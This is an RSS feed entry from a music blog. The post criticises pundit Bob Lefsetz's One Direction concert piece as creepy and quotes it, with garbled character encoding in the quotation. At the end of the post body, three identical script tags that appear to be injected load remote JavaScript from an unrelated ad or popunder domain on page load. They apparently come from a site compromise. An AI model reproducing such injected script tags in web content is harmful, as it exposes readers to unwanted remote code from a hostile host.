<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Where Worlds Collide &#187; One Direction</title>
	<atom:link href="http://www.kalyr.co.uk/weblog/tag/one-direction/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kalyr.co.uk/weblog</link>
	<description>The blogs of Tim Hall</description>
	<lastBuildDate>Fri, 10 Mar 2017 15:33:59 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.7.41</generator>
	<item>
		<title>Bob Lefsetz, One Direction, and American Psycho</title>
		<link>http://www.kalyr.co.uk/weblog/music/music-opinion/bob-lefsetz-one-direction-and-american-psycho/</link>
		<comments>http://www.kalyr.co.uk/weblog/music/music-opinion/bob-lefsetz-one-direction-and-american-psycho/#comments</comments>
		<pubDate>Tue, 16 Sep 2014 17:13:48 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Music Opinion]]></category>
		<category><![CDATA[Bob Lefsetz]]></category>
		<category><![CDATA[One Direction]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=11369</guid>
		<description><![CDATA[Bob Lefsetz has always been a pompous blowhard. But he's now become downright creepy. <a href="http://www.kalyr.co.uk/weblog/music/music-opinion/bob-lefsetz-one-direction-and-american-psycho/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m not sure that there are many people who still take Bob Lefsetz seriously; after all, this is the music industry pundit who told David Bowie he needed to be more like Mumford and Sons. He&#8217;s got to become a good music pundit litmus test, in that anyone who takes him seriously cannot themselves be taken seriously.</p>
<p>His blustering patronising style and detemindedly anti-hipster stance leads him to praise the most vacuous examples of corporate rock as works of artistic genius; he&#8217;e even claimed that anyone who doesn&#8217;t think Nickelback are the world&#8217;s greatest rock band is a pathetic loser. Some of his more ridiculous rants remind me of those often-quoted monologues about Huey Lewis and Phil Collins from Brett Easton Ellis&#8217; &#8220;American Psycho&#8221;.</p>
<p>But this piece about One Direction goes beyond patronising and descends into the <a href="http://lefsetz.com/wordpress/index.php/archives/2014/09/15/one-direction-rose-bowl/">disturbingly creepy</a>.</p>
<blockquote><p>It was incomprehensible.</p>
<p>Furthermore, if you werenâ€™t there you probably didnâ€™t know it happened, despite the act selling out two dates and nearly a third, on a Thursday, a school night.</p>
<p>And that was who were there. Students. Girls. Wanna get laid? Go to a 1D show. You wonâ€™t see odds this good at the prison of â€œOrange Is The New Black.â€ An endless sea of barely pubescent girls, screaming their heads off. Youâ€™d think it was the new Beatles.</p>
<p>Only it wasnâ€™t.</p>
<p>Maybe these kids know the Beatles. But theyâ€™ve got no idea who U2 is, never mind want to hear their music. And U2 didnâ€™t sell as many tickets in Pasadena. Because the generations have changed and those in charge donâ€™t want to admit it.</p>
<p>Youâ€™re done. History. Kaput. Your children have replaced you. Because theyâ€™ve got one thing you do not, PASSION!</p></blockquote>
<p>What&#8217;s scary is that if you read those first few paragraphs side-by-side with <a href="http://www.imdb.com/title/tt0144084/quotes" target="_blank">Patrick Bateman&#8217;s infamous Phil Collins monologue</a> , his One Direction piece is actually creepier.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/music/music-opinion/bob-lefsetz-one-direction-and-american-psycho/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
